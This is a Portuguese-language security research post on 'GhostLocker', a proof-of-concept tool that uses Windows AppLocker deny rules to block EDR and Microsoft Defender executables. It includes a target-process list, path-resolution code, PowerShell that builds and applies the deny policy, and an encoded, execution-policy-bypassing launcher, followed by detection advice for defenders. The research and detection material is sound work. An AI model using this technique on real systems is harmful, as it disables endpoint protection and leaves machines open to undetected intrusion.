
Neutralização de EDR baseada em AppLocker
Após meu artigo sobre Fairy-Law, onde usei mitigações em modo kernel para desabilitar soluções de Detecção e Resposta de Endpoint (EDR), diversenok apontou que as exclusões de IFEO (Image File Execution Options) eram invasivas demais para aplicações de terceiros. Isso levou a uma abordagem melhor: aproveitar o poder inerente que os administradores já possuem através do AppLocker.
O conceito foi inspirado por diversenok, que destacou que administradores podem controlar legitimamente qualquer software em seus sistemas. A partir dessa percepção, desenvolvi uma técnica usando o AppLocker como um mecanismo de controle nativo do Windows. Esta pesquisa explora a implementação técnica do AppLocker para controle de EDR, comparando-o com WDAC e apresentando uma ferramenta prática de prova de conceito.
O AppLocker foi introduzido com o Windows 7 e aprimorado no Windows 8.1, 10 (Enterprise) e Windows Server 2012/R2/2016+. É uma estrutura de lista de permissões de aplicativos que permite aos administradores definir precisamente quais executáveis, scripts ou instaladores podem ser executados para usuários ou grupos específicos.
AppIDSvc (Serviço de Identidade de Aplicativo)
LocalServiceAppID.sys (Driver do Kernel)
SeSrpAccessCheckEsclarecimento:
Embora oAppID.sysrealize a avaliação de regras em modo kernel, a aplicação de regras de DLL não é autônoma.
O driver do kernel não monitora ativamente os carregamentos de DLL por conta própria. Em vez disso, componentes em modo de usuário devem consultar explicitamente o driver via IOCTL para determinar se um carregamento de DLL é permitido.
Como resultado, as regras de DLL do AppLocker atuam efetivamente como um mecanismo de proteção no lado do cliente.
O AppLocker suporta duas categorias principais de regras:
Regras de Permissão: Permitem explicitamente que aplicativos definidos sejam executados
Regras de Negação: Bloqueiam explicitamente que aplicativos definidos sejam executados
C:\Program Files\Security\*.exeHKLM\Software\Policies\Microsoft\Windows\SrpV2 (Armazenamento de política XML, persistente)
HKLM\SYSTEM\CurrentControlSet\Control\Srp\Gp\Exe (Formato binário SDDL, aplicação ativa)
HKLM\SYSTEM\CurrentControlSet\Control\AppID\CertStore (Cache de certificados)
Por padrão, o AppLocker não aplica regras em serviços ou processos SYSTEM.
Não há opção de interface gráfica para habilitar esse comportamento.
A aplicação para serviços só pode ser habilitada via política XML usando RuleCollectionExtensions.
A seguinte seção de política é necessária para aplicar as regras do AppLocker em serviços:
<RuleCollectionExtensions>
<ThresholdExtensions>
<Services EnforcementMode="Enabled"/>
</ThresholdExtensions>
<RedstoneExtensions>
<SystemApps Allow="Enabled"/>
</RedstoneExtensions>
</RuleCollectionExtensions>
Como indicado pelos nomes das extensões, essas opções são suportadas apenas no Windows 10+ e não estão disponíveis em versões anteriores. Consulte Microsoft - Extensões de coleção de regras do AppLocker
AppID.sys avalia os atributos da aplicaçãoSTATUS_ACCESS_DISABLED_BY_POLICY_OTHER⚠️ O AppLocker NÃO finaliza processos em execução.
A aplicação do AppLocker se aplica apenas a eventos de criação de novos processos. Processos EDR já em execução continuam operando até a reinicialização do sistema. Esta é uma restrição arquitetural fundamental.
Ressalva sobre Telemetria de Drivers de Kernel:
Mesmo após bloquear os executáveis em modo de usuário do EDR, os drivers de kernel (*.sys) permanecem ativos e operacionais. Esses drivers continuam:
No entanto, testes extensivos revelam que essa telemetria se torna funcionalmente ineficaz. Sem os mecanismos de análise em modo de usuário, sistemas de correlação e relatórios, os dados brutos de telemetria não podem ser processados em detecções acionáveis. As soluções EDR dependem fortemente de componentes em modo de usuário para:
GhostLocker é uma implementação em C++ que automatiza a implantação de políticas do AppLocker para bloquear executáveis de EDR.
O GhostLocker fornece duas variantes de implementação:
main.cpp – Versão de Enumeração DinâmicaEsta versão enumera os processos em execução e resolve seus caminhos completos de imagem usando APIs nativas (NtQuerySystemInformation).
Os caminhos absolutos resolvidos são então usados para gerar regras de negação precisas do AppLocker.
A ferramenta usa CreateToolhelp32Snapshot com TH32CS_SNAPPROCESS para enumerar todos os processos em execução. Ela compara os nomes dos processos com uma lista de alvos predefinida usando correspondência sem diferenciação de maiúsculas/minúsculas (_wcsicmp).
Por que essa abordagem?
FindTargetsAndQueryPaths)const wchar_t* targetNames[] = {
L"MpDefenderCoreService.exe",
L"MsMpEng.exe",
L"WinDefend.exe",
L"EDR_Component_Name.exe",
};
SYSTEM_PROCESS_ID_INFORMATION spi = { 0 };
spi.ProcessId = PID;
spi.ImageName.MaximumLength = 1024;
spi.ImageName.Buffer = (PWSTR)allocBuffer;
status = NtQuerySystemInformation(
SystemProcessIdInformation,
&spi,
sizeof(spi),
0
);
Detalhes Técnicos:
SystemProcessIdInformation (0x58)\Device\HarddiskVolume3\Windows\System32\...Lógica de Conversão de Caminho:
std::wstring ForceHarddiskVolumeToC(const std::wstring& ntPath)
{
const std::wstring prefix = L"\\Device\\HarddiskVolume3\\";
if (ntPath.rfind(prefix, 0) == 0)
{
std::wstring rest = ntPath.substr(prefix.length());
return L"C:\\" + rest;
}
return ntPath;
}
Limitação: Suposição codificada de HarddiskVolume3. Deve ser melhorado para resolver dinamicamente os números de volume.
A ferramenta incorpora um script PowerShell completo que:
a) Valida Caminhos Alvo
foreach ($exe in $ExeToBlock) {
if (!(Test-Path $exe)) {
Write-Host '[!] ERROR: File does not exist:' $exe -ForegroundColor Red
exit 1
}
}
b) Gera Regras de Negação Dinâmicas
foreach ($exe in $ExeToBlock) {
$id = [guid]::NewGuid().ToString()
$name = Split-Path $exe -Leaf
$dynamicBlockRules += '<FilePathRule Id="' + $id + '" Name="Block ' + $name +
'" Description="Blocked by policy" UserOrGroupSid="S-1-1-0" Action="Deny">'
$dynamicBlockRules += '<Conditions><FilePathCondition Path="' + $exe + '" /></Conditions>'
$dynamicBlockRules += '</FilePathRule>'
}
Elementos Chave da Política:
UserOrGroupSid="S-1-1-0": Aplica-se a Todos (todos os usuários)Action="Deny": Regra de bloqueio explícitaEnforcementMode="Enabled": Aplicação ativa para regras EXEc) Aplicação da Política
Set-AppLockerPolicy -XmlPolicy $tempPath -ErrorAction Stop
gpupdate /force | Out-Null
void RunPowerShellInMemory()
{
std::wstring script = BuildFullPowerShellScript();
const BYTE* bytes = reinterpret_cast<const BYTE*>(script.c_str());
size_t byteLen = script.size() * sizeof(wchar_t);
std::wstring encoded = Base64Encode(bytes, byteLen);
std::wstring params = L"-NoProfile -ExecutionPolicy Bypass -EncodedCommand ";
params += encoded;
ShellExecuteW(NULL, L"runas", L"powershell.exe", params.c_str(), NULL, SW_SHOW);
}
Fundamentação Técnica:
-EncodedCommand espera UTF-16LE-ExecutionPolicy Bypass: Ignora a política de execução de scriptsrunas: Aciona a elevação UAC para direitos administrativosmain_improved.cpp – Versão Estática Baseada em Caracteres CuringaApós esclarecimento do diversenok, ficou claro que as regras de caminho do AppLocker suportam correspondência com caracteres curinga e não exigem caminhos completos de executáveis.
Esta versão melhorada remove toda a enumeração de processos e lógica de resolução de caminho nativo e, em vez disso, depende de regras curinga estáticas como: *\MsMpEng.exe
⚠️ Pré-requisitos para Implantação Bem-Sucedida:
sc start AppIDSvcTestes controlados extensivos foram conduzidos contra múltiplas soluções comerciais de EDR para avaliar a eficácia.
Ambiente de Teste:
Falha na Análise Comportamental:
Perspectiva do Console de Gerenciamento:
Apesar dos drivers de kernel continuarem executando e coletando fluxos de dados de telemetria, a ausência de componentes de processamento em modo de usuário tornou os dados coletados ineficazes.
O Que Continua Funcionando:
Insight Crítico:
A arquitetura moderna de EDR depende de um acoplamento estreito entre drivers de kernel e mecanismos de análise em modo de usuário. Quebrar esse acoplamento efetivamente cega o EDR apesar da coleta contínua de telemetria.
Captura de tela (Enumerando e aplicando a Política AppLocker):

Captura de tela (WinDefend Desativado):
Captura de tela da Versão 2

O Windows Defender Application Control (WDAC) foi introduzido no Windows 10 e representa a estrutura moderna de controle de aplicativos da Microsoft. Ele aplica políticas em binários tanto em modo de usuário quanto em modo kernel.
Características Principais:
Armazenamento de Política WDAC:
C:\Windows\System32\CodeIntegrity\SIPolicy.p7b (Política ativa, assinada)
C:\Windows\System32\CodeIntegrity\CIPolicies\ (Múltiplas políticas)
Partição do Sistema EFI (Aplicação UEFI)
Krueger demonstrou o abuso do WDAC para bloqueio de drivers de EDR:
Diferença Chave:
Quando Usar AppLocker (GhostLocker):
Quando Usar WDAC (estilo Krueger):
O Windows fornece a API Get-AppLockerFileInformation, que permite testar se um executável específico seria bloqueado sob a política atual do AppLocker.
Um EDR pode usar este mecanismo para verificar proativamente se seus próprios binários ou serviços seriam negados após uma alteração de política.
Se um componente principal transitar de permitido para negado, isso deve ser tratado como uma condição de adulteração de alta confiança.
As atualizações da política do AppLocker são comunicadas ao AppID.sys via chamadas IOCTL explícitas do modo de usuário.
Isso fornece um caminho de sinal claro indicando que o estado de aplicação mudou.
Drivers de kernel podem observar essas notificações e correlacioná-las com falhas de execução subsequentes de serviços protegidos, permitindo a detecção precisa de neutralização baseada em política.
As políticas do AppLocker são persistidas entre reinicializações em locais bem definidos do registro.
As soluções EDR podem capturar o estado relevante da política antes da reinicialização e verificar a consistência da aplicação após a inicialização do sistema.
Uma incompatibilidade entre o estado de execução esperado e a aplicação pós-reinicialização indica fortemente uma manipulação intencional da política.
O Windows inclui mecanismos nativos para excluir processos da aplicação SRP/AppLocker.
Espera-se que os produtos de segurança se integrem a esses mecanismos para garantir a continuidade operacional.
A falha em considerar essas exclusões não é uma limitação do AppLocker, mas sim uma omissão arquitetural no produto protegido.
Nenhuma dessas estratégias de detecção requer a contornar o AppLocker ou violar os limites de segurança do Windows.
Elas dependem exclusivamente de comportamento documentado e interfaces já fornecidas pelo sistema operacional.
GhostLocker demonstra que o AppLocker, um recurso legítimo de segurança do Windows, pode ser instrumentalizado para neutralizar soluções EDR através do bloqueio de processos em modo de usuário. Esta pesquisa destaca vulnerabilidades arquiteturais fundamentais nos designs atuais de EDR que acoplam fortemente a coleta de telemetria do kernel com mecanismos de análise em modo de usuário.
Esta pesquisa é fornecida apenas para fins educacionais e de segurança defensiva. As técnicas descritas devem ser usadas apenas em ambientes de teste autorizados com permissão explícita.
Se você estiver interessado em contribuir para o GhostLocker, especialmente para a implementação em C#, você é muito bem-vindo.
| Característica | AppLocker | WDAC |
|---|
| Escopo de Aplicação | Apenas executáveis em modo de usuário | Drivers em modo de usuário + modo kernel |
| Momento da Aplicação | Criação do processo | Inicialização + tempo de execução |
| Granularidade de Usuário | Regras por usuário/grupo | Em todo o sistema |
| Modo Padrão | Permitir por padrão | Negar por padrão |
| Tipos de Regra | Caminho, Hash, Editor | Hash, Editor, WHQLFile, Versão |
| Bloqueia Drivers | ❌ Não | ✅ Sim |
| Complexidade da Política | Moderada | Alta |
| Modo de Auditoria | ✅ Sim | ✅ Sim |